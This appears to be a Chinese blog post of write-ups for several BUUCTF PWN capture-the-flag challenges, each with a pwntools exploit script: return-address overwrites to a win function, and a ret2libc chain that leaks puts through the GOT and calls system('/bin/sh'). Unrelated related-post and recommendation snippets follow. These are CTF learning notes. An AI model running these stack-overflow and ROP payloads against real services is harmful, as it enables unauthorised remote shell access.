BUUCTF PWN部分题目wp
pwn好难啊
PWN
1,连上就有flag的pwn
nc buuoj.cn 6000得到flag
2,RIP覆盖一下
用ida分析一下,
发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本
from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()
得到flag
3,warmup_csaw_2016
先拖进ida


找到了system地址
下载libc.so

用peda


找到ebp位置,需覆盖64+8字节,写脚本
from pwn import*
#sh=process('/home/harmonica/Desktop/warmup_csaw_2016.dms' )
sh=remote('pwn.buuoj.cn',20035)
payload='a'*72+p64(0x40060D)
sh.sendline(payload)
sh.interactive()
得到flag
4,ciscn_2019_c_1
栈溢出,查看保护

经过分析,需覆盖0x58字节,本来这题想不用给的libc,但用LibcSearcher找不到这个libc,还是去下了一份
查到/bin/sh位置

写脚本
from pwn import *
from LibcSearcher import LibcSearcher sh=remote('pwn.buuoj.cn',20115)
#sh=process('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
ciscn=ELF('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
libc=ELF('/home/harmonica/Desktop/x64_libc.so.6') def send(content):
sh.recvuntil('Input your choice!\n')
sh.sendline('')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(content) puts_plt=ciscn.plt['puts']
puts_got=ciscn.got['puts']
main=ciscn.symbols['main']
pop_rdi=0x400c83 payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
send(payload) sh.recvuntil('@\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
#libc=LibcSearcher('puts', puts_addr)
libcbase=puts_addr-libc.sym['puts']
log.success("libcbase: "+hex(libcbase)) system_addr=libcbase+libc.sym['system']
binsh_addr=libcbase+0x18cd57 payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
send(payload) sh.interactive()
得到flag
5, pwn1_sctf_2016
拖进ida,c++程序,找到主函数

程序中带了system

运行程序

当输入'I'时会转换为‘you’
fgets溢出,写exp
from pwn import *
sh=remote('pwn.buuoj.cn',20086)
get_flag=0x08048F0D
payload='I'*0x14+'a'*4+p32(get_flag)
sh.sendline(payload)
sh.interactive()
得到flag
BUUCTF PWN部分题目wp的更多相关文章
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- BUUCTF MISC部分题目wp
MISC这里是平台上比较简单的misc,都放在一起,难一些的会单独写1,二维码图片里藏了一个压缩包,用binwalk -e分离,提示密码为4个数字,fcrackzip -b -c1 -l 4 -u 得 ...
- BUUCTF CRYPTO部分题目wp
对密码学了解不多,做一下熟悉熟悉 1,看我回旋踢 给的密文synt{5pq1004q-86n5-46q8-o720-oro5on0417r1} 简单的凯撒密码,用http://www.zjslove. ...
- BUUCTF RE部分题目wp
RE 1,easyre拖进ida,得到flag 2,helloworld 将文件拖入apk改之理,得到flag 3,xor拖进ida,就是简单异或,写脚本 glo=[0x66,0x0a,0x6b,0x ...
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap
[V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...
随机推荐
- python面试题之用列表解析式选出1-100中的奇数
[i for i in range(100) if i % 2 != 0](其实这里有很多种做法,比如最简单的用切片就可以了 list(range(100))[1::2]都不需要列表解析式本文首发于p ...
- hdu3438 Buy and Resell(优先队列+贪心)
Buy and Resell Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)To ...
- C# 与 C++ 互操作(C# 调用 C++ 的动态链接库)
1.新建 C++ 动态链接库项目 CPlus.cpp: #include "stdafx.h" extern "C" __declspec(dllexport) ...
- SpringMVC学习(7):格式化显示
在系列(6)中我们介绍了如何验证提交的数据的正确性,当数据验证通过后就会被我们保存起来.保存的数据会用于以后的展示,这才是保存的价值.那么在展示的时候如何按照要求显示?(比如:小数保留一定的位数,日期 ...
- Groovy学习:第二章 Groovy语言的关键特征
1. 断言Assertion断言:用于判断预期的条件是否为真.例子:def list = [1,2,'x']assert list.size()==32. AST转换期使用的注释AST转换的注释:Gr ...
- CentOS 7 下配置 Nginx + PHP7.1 + MariaDB 以及 Laravel 框架 2018.3.11
CentOS 7 下配置 Nginx + PHP7.1 + MariaDB 以及 Laravel 框架 阿里云服务器的选择 当然是选择学生优惠啦.这里阿里云还提供了轻量级服务器这个选项,可以预装 LA ...
- LeetCode--Longest Consecutive Sequence(最长连续序列) Python
题目描述: Longest Consecutive Sequence(最长连续序列) 中文: 给定一个未排序的整数数组,找出最长连续序列的长度. 要求算法的时间复杂度为 O(n). 英文: Given ...
- oracle client 卸载
1.停用oracle服务:进入计算机管理,在服务中,找到oracle开头的所有服务,右击选择停止 2.在开始菜单中,找到Universal Installer,运行Oracle Universal I ...
- StackOverflowError
"Caused by: java.lang.StackOverflowError: null",当后台出现这个报错信息的时候,证明在代码模块里面出现了死循环,但是不一定是代码的问题 ...
- Python--模块之re
re模块 就其本质而言,正则表达式(或 RE)是一种小型的.高度专业化的编程语言,(在Python中)它内嵌在Python中,并通过 re 模块实现.正则表达式模式被编译成一系列的字节码,然后由用 C ...